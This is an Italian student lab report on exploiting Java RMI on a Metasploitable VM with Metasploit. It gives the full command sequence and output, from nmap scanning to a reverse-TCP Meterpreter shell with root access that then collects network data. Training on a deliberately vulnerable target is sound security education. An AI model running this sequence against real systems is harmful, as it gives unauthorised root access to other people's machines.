

S7L5 Relazione Sfruttamento della Vulnerabilità Java RMI con Metasploit

Introduzione

L'esercizio richiede di sfruttare una vulnerabilità presente nel servizio Java RMI sulla porta 1099 della macchina Metasploitable, utilizzando il framework Metasploit. L'obiettivo principale è ottenere una sessione Meterpreter sulla macchina vittima per raccogliere specifiche informazioni: la configurazione di rete e la tabella di routing. Questo esercizio si inserisce in un contesto di sicurezza informatica, dove lo scopo è comprendere come identificare e sfruttare vulnerabilità in sistemi non protetti.

Svolgimento

Preparazione dell'ambiente

Prima di procedere con l'exploit, è stata verificata la corretta configurazione dell'ambiente di lavoro. La macchina attaccante (Kali Linux) ha ricevuto l'indirizzo IP 192.168.11.111, mentre la macchina vittima (Metasploitable) è stata configurata con l'indirizzo IP 192.168.11.112. Per assicurarsi che le due macchine fossero raggiungibili, è stato eseguito un ping dalla macchina Kali verso la macchina Metasploitable:

ping 192.168.11.112

```
(kali㉿kali)-[~]
$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=1.50 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.884 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=4.76 ms
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=16.2 ms
^C
— 192.168.11.112 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3034ms
rtt min/avg/max/mdev = 0.884/5.831/16.182/6.154 ms
```

Il ping ha avuto successo, confermando la connettività tra le due macchine. Successivamente, è stata eseguita una scansione delle porte con Nmap per verificare che il servizio Java RMI fosse attivo sulla porta 1099:

nmap -sV -p 1099 192.168.11.112

```
(kali@kali)-[~]
$ nmap -sV 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-14 05:37 EDT
Nmap scan report for 192.168.11.112
Host is up (0.14s latency).
Not shown: 978 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:EA:8A:42 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 67.35 seconds
```

L'output ha mostrato che il servizio Java RMI era effettivamente in esecuzione sulla porta specificata.

Configurazione e utilizzo di Metasploit

Dopo aver preparato l'ambiente, è stato avviato il framework Metasploit tramite il comando:

msfconsole

```
(kali@kali)-[~]
$ msfconsole
Metasploit tip: View missing module options with show missing

# cowsay++

< metasploit >

  \      (oo)_____)
   \      (__)      )\
    \      ||----w |
     \     ||--w  *

Nessus.txt

      =[ metasploit v6.4.34-dev ]
+ -- --=[ 2461 exploits - 1267 auxiliary - 431 post ]
+ -- --=[ 1471 payloads - 49 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > █
```

Una volta all'interno di Metasploit, è stato cercato il modulo appropriato per sfruttare la vulnerabilità Java RMI:

search java rmi

```
msf6 > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank      Check  Description
--  -
0  auxiliary/gather/java_rmi_registry        .               normal    No     Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes     Java RMI Server Insecure Default Configuration Java Code Execution
2  \ target: Generic (Java Payload)          .               .         .     .
3  \ target: Windows x86 (Native Payload)    .               .         .     .
4  \ target: Linux x86 (Native Payload)      .               .         .     .
5  \ target: Mac OS X PPC (Native Payload)   .               .         .     .
6  \ target: Mac OS X x86 (Native Payload)   .               .         .     .
7  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal    No     Java RMI Server Insecure Endpoint Code Execution Scanner
8  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No     Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection_impl
```

Tra i risultati disponibili, è stato selezionato il modulo
exploit/multi/misc/java_rmi_server:

use exploit/multi/misc/java_rmi_server

```
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```

Per verificare i parametri necessari da configurare, è stato utilizzato il comando:
show options

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
--      -
HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
RHOSTS    .               yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099            yes       The target port (TCP)
SRVHOST   0.0.0.0         yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080            yes       The local port to listen on.
SSL       false           no        Negotiate SSL for incoming connections
SSLCert   .               no        Path to a custom SSL certificate (default is randomly generated)
URIPATH   .               no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
--  -
0   Generic (Java Payload)

View the full module info with the info, or info -d command.
```

Questo comando ha mostrato che il parametro RHOSTS, era obbligatorio per l'esecuzione dell'exploit. Di conseguenza, è stato impostato il seguente valore:
set RHOSTS 192.168.11.112

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
```

A questo punto, tutti i parametri richiesti erano stati correttamente impostati.

Esecuzione dell'exploit

Dopo aver configurato i parametri, è stato eseguito l'exploit con il comando:
exploit

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/GQdFhAg0iq
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58037 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:60997) at 2025-03-14 05:50:09 -0400
```

L'exploit ha avuto successo, stabilendo una sessione Meterpreter sulla macchina vittima. Per verificare i privilegi ottenuti durante l'exploit, è stato utilizzato il comando:
getuid

```
meterpreter > getuid
Server username: root
```

L'output del comando ha confermato che l'utente corrente aveva privilegi di root (uid=0(root)), garantendo pieno accesso al sistema.

Raccolta delle evidenze

Una volta ottenuta la sessione Meterpreter con privilegi di root, sono state raccolte le informazioni richieste:

Configurazione di rete : Utilizzando il comando ifconfig, è stata visualizzata la configurazione di rete della macchina vittima:

meterpreter > ifconfig

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:feea:8a42
IPv6 Netmask : ::
```

L'output è stato salvato per la documentazione.

Tabella di routing : Utilizzando il comando route, è stata visualizzata la tabella di routing della macchina vittima:

meterpreter > route

```
meterpreter > route
```

IPv4 network routes

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

IPv6 network routes

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:feea:8a42	::	::		

Anche in questo caso, l'output è stato salvato.

Infine, la sessione Meterpreter è stata chiusa con il comando:

meterpreter > exit

```
meterpreter > exit
[*] Shutting down session: 1
[*] 192.168.11.112 - Meterpreter session 1 closed. Reason: Died
```

Conclusione

L'esercizio è stato completato con successo. Gli obiettivi prefissati sono stati raggiunti:

È stata sfruttata la vulnerabilità Java RMI sulla porta 1099 della macchina Metasploitable utilizzando Metasploit.

È stata ottenuta una sessione Meterpreter sulla macchina vittima con privilegi di root, come confermato dal comando getuid.

Sono state raccolte le informazioni richieste: la configurazione di rete e la tabella di routing.

Questo esercizio ha dimostrato come identificare e sfruttare una vulnerabilità comune in un ambiente controllato, fornendo una comprensione pratica delle tecniche di penetrazione e delle misure necessarie per proteggere i sistemi da tali minacce.